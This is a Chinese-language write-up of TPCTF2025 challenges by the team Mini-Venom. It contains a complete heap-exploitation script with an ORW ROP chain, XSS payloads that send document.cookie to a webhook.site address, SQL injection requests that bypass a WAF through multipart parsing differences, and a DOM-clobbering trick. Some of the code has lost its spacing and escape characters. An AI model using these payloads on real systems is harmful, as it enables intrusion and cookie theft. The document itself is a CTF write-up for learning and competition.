TPCTF2025 writeup by Mini-Venom

admin 2025年3月12日21:47:25评论57 views字数 20632阅读68分46秒阅读模式

 

Pwn:

EzDB

c++堆题,add,free,edit

漏洞在于insert中,一个单字节溢出导致的堆溢出

TPCTF2025 writeup by Mini-Venom
TPCTF2025 writeup by Mini-Venom
TPCTF2025 writeup by Mini-Venom

通过tcachebin attack攻击IO_list_all,写入我们的堆地址,后续走house of cat,但system会卡栈,直接走orw读flag了

TPCTF2025 writeup by Mini-Venom
from pwn import*from struct import packimport ctypes#from LibcSearcher import *from ae64 import AE64defbug():        gdb.attach(p)        pause()defs(a):        p.send(a)defsa(a,b):        p.sendafter(a,b)defsl(a):        p.sendline(a)defsla(a,b):        p.sendlineafter(a,b)defr(a):        p.recv(a)#def pr(a):#print(p.recv(a))defrl(a):return p.recvuntil(a)definter():        p.interactive()defget_addr64():return u64(p.recvuntil("x7f")[-6:].ljust(8,b'x00'))defget_addr32():return u32(p.recvuntil("xf7")[-4:])defget_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/shx00").__next__()defget_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')#context(os='linux',arch='i386',log_level='debug')   context(os='linux',arch='amd64',log_level='debug')libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')   elf=ELF('./pwn')p=remote('61.147.171.106',50541)#p = process('./pwn')defadd(i):    sla('>>> ', b'1')    sla('Index:', str(i))deffree(i):    sla('>>> ',b'2')    sla('Table Page Index:', str(i))definsert(i, size, content):    sla('>>> ', b'3')    sla('Index:', str(i))    sla('Varchar Length:', str(size))    sla('Varchar:', content)    rl('Record inserted, slot id: ')return int(rl('n')) defget(i, id):    sla('>>> ', b'4')    sla('Index:', str(i))    sla('Slot ID: ', str(id))defedit(i, id, size, content):    sla('>>> ', b'5')    sla('Index:', str(i))    sla('Slot ID:', str(id))    sla('Varchar Length:', str(size))    sa('Varchar:', content)defexit():    sla('>>> ', '6')add(0)add(1)insert(0, 0x3fd,b'a'*0x3fd)for i in range(2,10):    add(i)insert(0,0x520,b'hhhhhhhhhhhhhhhhh')for i in range(3,9):    free(i)free(1) free(2)get(0,0)rl(b'x31'+b'x00'*7)r(0x10)heap_base = u64(p.recv(6).ljust(8,b'x00'))-0x12720li(hex(heap_base))libc_base = get_addr64()-0x21ace0li(hex(libc_base))defxor_heap(addr,key):return (addr ^ (key >> 12))_IO_list_all = libc_base+libc.sym['_IO_list_all']_IO_wfile_jumps = libc_base + 0x2170c0setcontext = libc_base+libc.sym['setcontext']system,bin_sh=get_sb()bin_sh=libc_base+0x00000000001d8678read = libc_base+libc.sym['read']fake_io_addr = heap_base+84317-0x10_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']rdi = libc_base+libc.search(asm("pop rdinret")).__next__()rsi = libc_base+libc.search(asm("pop rsinret")).__next__()rdx = libc_base+libc.search(asm("pop rdxnret")).__next__()rdx_r12= libc_base+libc.search(asm("pop rdxnpop r12nret")).__next__()rax = libc_base+libc.search(asm("pop raxnret")).__next__()ret = libc_base+libc.search(asm("ret")).__next__()syscall=libc_base+libc.search(asm("syscallnret")).__next__()open=libc_base+libc.sym['open']read=libc_base + libc.sym['read']write=libc_base + libc.sym['write']chunk3=fake_io_addr # 伪造的fake_IO结构体的地址fake_IO_FILE  =p64(0)*2+p64(1)+p64(chunk3+0x8)  fake_IO_FILE  =fake_IO_FILE.ljust(0x60,b'x00')  fake_IO_FILE +=p64(0)+p64(chunk3+0xf8)+p64(system) #rdi,rsifake_IO_FILE +=p64(heap_base)              fake_IO_FILE +=p64(0x100)                       #rdxfake_IO_FILE  =fake_IO_FILE.ljust(0x90, b'x00')fake_IO_FILE +=p64(chunk3+0x8)                  #_wide_data,rax1_addrfake_IO_FILE +=p64(chunk3+0xf0)+p64(rdi+1)      #rspfake_IO_FILE +=p64(0)+p64(1)+p64(0)*2fake_IO_FILE +=p64(_IO_wfile_jumps+0x30)        # vtable=IO_wfile_jumps+0x10fake_IO_FILE +=p64(setcontext+61)+p64(chunk3+0xc8)fake_IO_FILE +=p64(read)orw  = p64(rdi) + p64(heap_base+84685)  orw += p64(rsi) + p64(0)orw += p64(rax)+p64(2)+p64(syscall)orw += p64(rdi) + p64(3)orw += p64(rsi)+p64(heap_base+0x100)orw += p64(read)orw += p64(rdi) + p64(1)orw += p64(rsi)+p64(heap_base+0x100)orw += p64(write)+b'./flagx00x00'xor_1=xor_heap(heap_base+0x144d0,heap_base+0x12000)xor_2=xor_heap(_IO_list_all,heap_base+0x12000)pay=b'a'*13+fake_IO_FILE.ljust(0x3f8, b'a')+p64(0x31)+p64(xor_1) +p64(0)*4+p64(0x411)+p64(xor_2)edit(0,0,len(pay),pay)li(hex(fake_io_addr))add(13)edit(0,0,0x400,p64(fake_io_addr))#bug()sla('>>> ', '6')pause()sl(orw)inter()

Web:

Baby layout

利用textarea的优先级,上下文混淆<div id="</textarea><img src=x onerror=fetch('https://webhook.site/887535d0-c364-464d-a4d4-6fd08278a485/'+document.cookie)>"></div>可
TPCTF2025 writeup by Mini-Venom

safe layout

aria默认是true

<div data-b="b" aria-c="</textarea><img src=x onerror=fetch('https://webhook.site/887535d0-c364-464d-a4d4-6fd08278a485/'+document.cookie)>"></div>

safe layout revevnge

xx<style><{{content}}/style><{{content}}img src=x onerror=fetch('https://webhook.site/887535d0-c364-464d-a4d4-6fd08278a485/'+document.cookie)></style>
TPCTF2025 writeup by Mini-Venom

supersqli

multipart/form-data解析差异

下面那个payload已经绕过去golang的waf了。

可能有关系的文章:

https://www.elttam.com/blog/plormbing-your-django-orm/

POST /flag/ HTTP/1.1Host: 192.168.167.195Content-Length: 201Cache-Control: max-age=0Origin: http://192.168.167.195Content-Type: multipart/form-data; boundary=a;Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.167.195/flag/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: close--aContent-Disposition: form-data;name="username"admin1--aContent-Disposition: form-data;name="password]"1' or '1'='1--a--Content-Disposition: form-data;name="password"1' or 1=1--

后端就改了下打印的信息, union select确实传过去了,但是不work

1' or randomblob(900000000)-- -有延迟,应该能时间盲注

TPCTF2025 writeup by Mini-Venom
POST /flag/ HTTP/1.1Host: 1.95.159.113Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0Content-Type: multipart/form-data; boundary=a;Connection: closeContent-Length: 243--aContent-Disposition: form-data;name="username"admin--aContent-Disposition: form-data;name="password]"1' or '1'='1--a--Content-Disposition: form-data;name="password"1' or randomblob(9000000000000000000000000000000000)--

没有password,那么构造password==users[0].password

POST /flag/ HTTP/1.1Host: 1.95.159.113Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0Content-Type: multipart/form-data; boundary=a;Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.167.195/flag/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: closeContent-Length: 412--aContent-Disposition: form-data;name="username"admin--aContent-Disposition: form-data;name="password]"111--a--Content-Disposition: form-data;name="password"'union/**/SELECT/**/1,2,REPLACE(REPLACE('"union/**/SELECT/**/1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")--',CHAR(34),CHAR(39)),CHAR(46),'"union/**/SELECT/**/1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")--')--

Are you incognito?

如果不存在broswer.runtime.id则module.exports导出window的browser。注意到globalThis是window,因此可以使用dom clobberate污染browser.runtime.id

if (!(globalThis.browser && globalThis.browser.runtime && globalThis.browser.runtime.id)) {//...}else {   module.exports = globalThis.browser; }

使用iframe三层污染即可:

 <iframe name="browser" srcdoc='    <form id="runtime"></form>    <form id="runtime" name="id">    </form>  <form id="extension"></form>    <form id="extension" name="inIncognitoContext">    </form>'></iframe>

exp.py:

from flask import Flask, request, jsonify                                                                                                                                                                                             import os                                                                                                                                                                                                                             app = Flask(__name__)                                                                                                                                                                                                                 @app.route('/')                                                                                                                                                                                                                       defindex():try:                                                                                                                                                                                                                                                                                                                                                                                                                                             file_path = os.path.join(os.path.dirname(__file__), 'index.html')                                                                                                                                                             with open(file_path, 'r') as f:                                                                                                                                                                                                           data = f.read()                                                                                                                                                                                                           return data, 200, {'Content-Type': 'text/html'}                                                                                                                                                                               except Exception as e:                                                                                                                                                                                                            return'Internal Server Error', [email protected]('/flag', methods=['POST'])                                                                                                                                                                                                 defflag():# 处 理  POST 请 求                                                                                                                                                                                                                       body = request.data.decode('utf-8')                                                                                                                                                                                                   response = {                                                                                                                                                                                                                      'status': 'flag',                                                                                                                                                                                                          'data': body                                                                                                                                                                                                                      }                                                                                                                                                                                                                                     print(response)                                                                                                                                                                                                                   return jsonify(response), [email protected](404)                                                                                                                                                                                                                defpage_not_found(e):return'Not Found', 404if __name__ == '__main__':                                                                                                                                                                                                                app.run(host='0.0.0.0', port=19006)
TPCTF2025 writeup by Mini-Venom

Reverse:

linuxpdf

打开附件 下面有个github的链接 打开之后是一个网页的linux 观察一下原本的和附件的区别 发现这里多加载了很多东西

TPCTF2025 writeup by Mini-Venom

应该是出题人加入的 多运行几次 可以发现最后的那个a9加载完毕之后 Flag出现 所以可以猜测那个a9就是主要的文件

扔010里 发现了很多base64加密的字符串 写个脚本解压保存文件

import base64  import zlib  import os  from pathlib import Path  from typing import Dict, Union  defdecode_and_inflate(encoded_data: str) -> bytes:    decoded = base64.b64decode(encoded_data)  return zlib.decompress(decoded, wbits=15)  defsave_content(          output_path: Union[str, Path],          binary_data: bytes,          ensure_dir: bool = True  ) -> None:    path = Path(output_path)  if ensure_dir:          path.parent.mkdir(parents=True, exist_ok=True)      path.write_bytes(binary_data)  defextract_files(          file_map: Dict[str, str],          output_root: Union[str, Path] = "") -> None:for filename, b64_data in file_map.items():  try:              uncompressed = decode_and_inflate(b64_data)              target_path = Path(output_root) / filename              save_content(target_path, uncompressed)              print(f"成功提取: {target_path}")  except (ValueError, zlib.error) as e:              print(f"解码/解压失败 {filename}: {str(e)}")  except OSError as e:              print(f"文件写入失败 {filename}: {str(e)}")  if __name__ == "__main__":      file_flag = {  "vm_64.cfg": "eNpNTtFugzAMfO..."#太长了不放了    }      extract_files(file_flag, "output_files")

随后直接找a9 然后扔ida9.0

TPCTF2025 writeup by Mini-Venom

跟进 发现md5初始化

TPCTF2025 writeup by Mini-Venom

随后看unk_4008 发现是一堆md5值 中间用00分隔开

TPCTF2025 writeup by Mini-Venom

提取出来爆破一下 最后三个爆破的很快 结果如下

CB0FC813755A45CE5984BFBA15847C1E——>F}

DF88931E7EEFDFCC2BB80D4A4F5710FB——>DF}

D6AF7C4FEDCF2B6777DF8E83C932F883——>PDF}

发现有规律 爆破出来的字符在上一个的前面 所以可以猜到是从后往前依次爆破 直接把所有md5值提取出来 写脚本即可

import hashlib  import itertools  import sys  chars = [chr(i) for i in range(32, 127)]  defcrack_md5_chain(target_hashes):    cracked = []      previous_plain = Nonefor idx, target_hash in enumerate(target_hashes):          target_hash = target_hash.lower().strip()  if idx == 0:  for candidate in itertools.product(chars, repeat=2):                  plain = ''.join(candidate)  if hashlib.md5(plain.encode()).hexdigest() == target_hash:                      print(f"[+] 成功破解第1个哈希: {plain}")                      previous_plain = plain                      cracked.append(plain)  breakelse:                  print("[-] 无法破解第一个哈希,终止流程")  returnNoneelse:  # 后续哈希处理              found = Falsefor c in chars:                  plain = c + previous_plain  if hashlib.md5(plain.encode()).hexdigest() == target_hash:                      print(f"[+] 成功破解第{idx + 1}个哈希: {plain}")                      previous_plain = plain                      cracked.append(plain)                      found = Truebreakifnot found:                  print(f"[-] 无法破解第{idx + 1}个哈希,终止流程")  returnNonereturn cracked  defmain():if len(sys.argv) != 2:          print(f"用法: {sys.argv[0]} <哈希文件>")  returnwith open(sys.argv[1]) as f:          hashes = [line.strip() for line in f if line.strip()]  ifnot hashes:          print("错误:哈希文件为空")  return    print("开始破解MD5链...")      result = crack_md5_chain(hashes)  if result:          print("n破解结果链:")  for i, plain in enumerate(result):              print(f"哈希{i + 1}: {plain}")  else:          print("n未能完整破解哈希链")  if __name__ == "__main__":      main()
TPCTF2025 writeup by Mini-Venom

TPCTF{mag1c_RISC-V_linux-PDF}

portable

ida打开附件 查看字符串 发现flag头

TPCTF2025 writeup by Mini-Venom

随后在start函数开始 往下翻函数 在最后找到输入flag的函数 sub_407F30

TPCTF2025 writeup by Mini-Venom

在下面找到一个异或 随后显示输入正确

TPCTF2025 writeup by Mini-Venom

找一下密文跟密钥 扔赛博厨子里解一下得到flag

TPCTF2025 writeup by Mini-Venom
TPCTF2025 writeup by Mini-Venom

stone-game

附件载入ida之后有明显的python特征,直接解包先,python pyinstxtractor.py stone_game 直接反编译pyc有点小问题,懒得修了,直接dis出来之后ai一把反编译了:

import osimport timeimport randomimport sysfrom game_logic import DigitalDisplayGame, MonteCarloAI# 读取 FLAG(可能是从文件或其他来源)FLAG = open('FLAG').read()classGameUI:def__init__(self, max_stones=10):        self.max_stones = max_stones        self.reset_game()defreset_game(self):        self.game = DigitalDisplayGame(self.max_stones)        self.ai = MonteCarloAI(self.game, iterations=2000)        self.game.current_player = 0# 0 表示玩家defdisplay_game(self):# 清屏        os.system('clear'if os.name == 'posix'else'cls')        print('nDigital Display Gamen')        print('nCurrent stone count:')for i in range(7):            print(f'Segment {i + 1}: {self.game.stones[i]} stones')        print('nCurrent player:', 'You'if self.game.current_player == 0else'AI')defget_player_move(self):whileTrue:try:                print('nEnter the number of stones to remove from each segment (space-separated, e.g.: 0 1 0 2 0 0 0):')                move = list(map(int, input().split()))if len(move) != 7:                    print('Input must be 7 numbers!')continueif self.game.is_valid_move(move):return move                print('Invalid move! Remember you cannot form cycles.')except ValueError:                print('Please enter valid numbers!')except EOFError:                print('Input error. Exiting...')                sys.exit(1)defplay_single_game(self):whilenot self.game.is_game_over():            self.display_game()if self.game.current_player == 0:  # 玩家回合                move = self.get_player_move()                self.game.make_move(move)else:  # AI 回合                print('nAI is thinking...')                time.sleep(0.5)                move = self.ai.get_best_move()if move:                    print('AI decides to remove: ', move)                    time.sleep(0.5)                    self.game.make_move(move)else:                    print('AI cannot move!')break        self.display_game()        winner = self.game.get_winner()if winner == 0:            print('nYou won this round!')returnTrueelse:            print('nAI won this round!')returnFalsedefmain():    max_stones = 100    total_rounds = 100    win_threshold = 90    print('Welcome to the Digital Display Game Challenge!')    print('The player who cannot make a move loses.')    print('You will always go first in each round.')    print(f'You need to win at least {win_threshold} out of {total_rounds} rounds to get the flag.')    print('Press Enter to start...')    input()    game = GameUI(max_stones)    player_wins = 0for round_num in range(1, total_rounds + 1):        print(f'n=== Round {round_num}/{total_rounds} ===')        print(f'Current score: {player_wins}/{round_num - 1}')        game.reset_game()if game.play_single_game():            player_wins += 1        print(f'Score after round {round_num}: {player_wins}/{round_num}')if round_num < total_rounds:            print('Next round starting in 2 seconds...')            time.sleep(2)    print('n=== Challenge Complete ===')    print(f'Final score: {player_wins}/{total_rounds}')if player_wins >= win_threshold:        print("nCongratulations! You've beaten the AI enough times to earn the flag:")        print(FLAG)else:        print(f'nYou needed at least {win_threshold} wins to get the flag. Better luck next time!')if __name__ == '__main__':try:        main()except KeyboardInterrupt:        print('nGame terminated by user.')        sys.exit(0)

就是一个经典的取石头对抗游戏,用pwntools交互打就好了,跑起来比较慢就是

EXP:

from pwn import *from functools import reduceimport random# 定义服务器地址和端口HOST = '1.95.128.179'PORT = 3271defcalculate_nim_sum(stones):"""计算所有非空段的 Nim-sum"""return reduce(lambda x, y: x ^ y, [s for s in stones if s > 0], 0)defget_nim_move(stones, tried_moves):"""生成基于 Nim-sum 的移动"""    nim_sum = calculate_nim_sum(stones)    move = [0] * 7    non_zero_segments = [i for i, s in enumerate(stones) if s > 0]ifnot non_zero_segments:return move  # 无可移除的石头if nim_sum != 0:# 尝试使 Nim-sum 变为 0for seg in non_zero_segments:            target = stones[seg] ^ nim_sumif target < stones[seg]:                move[seg] = stones[seg] - targetif tuple(move) notin tried_moves:return move# 如果无法直接使 Nim-sum 为 0,或移动无效,随机移除 1 个石头    seg = random.choice(non_zero_segments)    move[seg] = 1while tuple(move) in tried_moves and len(tried_moves) < len(non_zero_segments):        seg = random.choice(non_zero_segments)        move = [0] * 7        move[seg] = 1return movedefplay_round(p, round_num):"""在一轮比赛中进行交互,不关闭连接"""    log.info(f"开始第 {round_num} 轮")# 等待轮次提示,例如 "=== Round 1/100 ==="    p.recvuntil(f'=== Round {round_num}/100 ==='.encode())# 解析初始石头数量    p.recvuntil(b'Current stone count:')    stones = []for i in range(7):        line = p.recvline().decode().strip()whilenot line.startswith(f'Segment {i+1}:'):            log.warning(f"跳过意外行: '{line}'")            line = p.recvline().decode().strip()        count = int(line.split(': ')[1].split(' ')[0])        stones.append(count)    log.info(f"初始石头数量: {stones}")# 检查当前玩家并发送第一次移动    p.recvuntil(b'Current player: ')    player = p.recvline().decode().strip()assert player == 'You', "预期玩家先手"    p.recvuntil(b'Enter the number of stones to remove from each segment')    tried_moves = set()    move = get_nim_move(stones, tried_moves)    move_str = ' '.join(map(str, move))    log.info(f"发送初始移动: {move_str}")    p.sendline(move_str.encode())    tried_moves.add(tuple(move))# 主交互循环whileTrue:        data = p.recvrepeat(timeout=1).decode()        log.info(f"收到数据: {data}")if'You won this round!'in data:            log.success(f"第 {round_num} 轮胜利!")if'Next round starting in 2 seconds...'in data:                log.info("等待下一轮开始...")                sleep(3)  # 等待 3 秒,确保服务器发送新一轮提示returnTrueelif'AI won this round!'in data:            log.warning(f"第 {round_num} 轮失败!")if'Next round starting in 2 seconds...'in data:                log.info("等待下一轮开始...")                sleep(3)  # 等待 3 秒,确保服务器发送新一轮提示returnFalseif'Invalid move! Remember you cannot form cycles.'in data:            log.warning("移动无效,重新尝试")            move = get_nim_move(stones, tried_moves)            move_str = ' '.join(map(str, move))            log.info(f"发送新移动: {move_str}")            p.sendline(move_str.encode())            tried_moves.add(tuple(move))continueif'Current stone count:'in data:            lines = data.split('n')            stones = []for i in range(7, 0, -1):for line in reversed(lines):if line.startswith(f'Segment {i}:'):                        count = int(line.split(': ')[1].split(' ')[0])                        stones.insert(0, count)break            log.info(f"更新石头数量: {stones}")            tried_moves.clear()if'AI decides to remove:'in data:for line in data.split('n'):if'AI decides to remove:'in line:                    ai_move = line.split('AI decides to remove: ')[1].strip()                    log.info(f"AI 移动: {ai_move}")breakif'Current player: You'in data and'Enter the number of stones to remove from each segment'in data:            move = get_nim_move(stones, tried_moves)            move_str = ' '.join(map(str, move))            log.info(f"发送移动: {move_str}")            p.sendline(move_str.encode())            tried_moves.add(tuple(move))# 主逻辑:使用单一连接运行所有轮次p = remote(HOST, PORT)# 跳过初始欢迎信息p.recvuntil(b'Press Enter to start...')p.sendline(b'')player_wins = 0for round_num in range(1, 101):if play_round(p, round_num):        player_wins += 1    log.info(f"当前得分: {player_wins}/{round_num}")# 在所有轮次结束后,接收服务器的最终输出log.info("所有轮次完成,接收服务器最终输出...")final_data = p.recvrepeat(timeout=2).decode()  # 等待 2 秒,确保接收完整输出log.info(f"服务器最终输出: {final_data}")# 检查是否获得 Flagif'Congratulations!'in final_data:    log.success("成功获得 Flag!")for line in final_data.split('n'):if line.strip() andnot line.startswith('Final score') andnot line.startswith('=== Challenge Complete ===') andnot line.startswith('Congratulations'):            log.success(f"Flag: {line.strip()}")elif'Better luck next time!'in final_data:    log.error("未达到胜利阈值,未获得 Flag")p.close()  # 接收完输出后关闭连接log.info(f"最终得分: {player_wins}/100")if player_wins >= 90:    log.success("本地统计:赢得足够轮次,可能获得 Flag!")else:    log.error(f"本地统计:未达到 90/100 的胜利要求,得分: {player_wins}/100")#TPCTF{M0nt3_C4rl0_S34rch_1s_4w3s0m3_f0r_g4m3s}
TPCTF2025 writeup by Mini-Venom

Misc:

challenge

谷歌搜索:intext:TPCTF inurl:https://ctftime.org/team

Raenil

https://merri.cx/qrazybox/

根据各个方向手动去填,一些不确定的后面可以通过纠错码恢复

TPCTF2025 writeup by Mini-Venom

扫出来得到flag

TPCTF{LIHHHHAWJ2123089hj091j2s+++__+SO_FUN!!!}

结束

原文始发于微信公众号(ChaMd5安全团队):TPCTF2025 writeup by Mini-Venom

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月12日21:47:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TPCTF2025 writeup by Mini-Venomhttps://cn-sec.com/archives/3831948.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息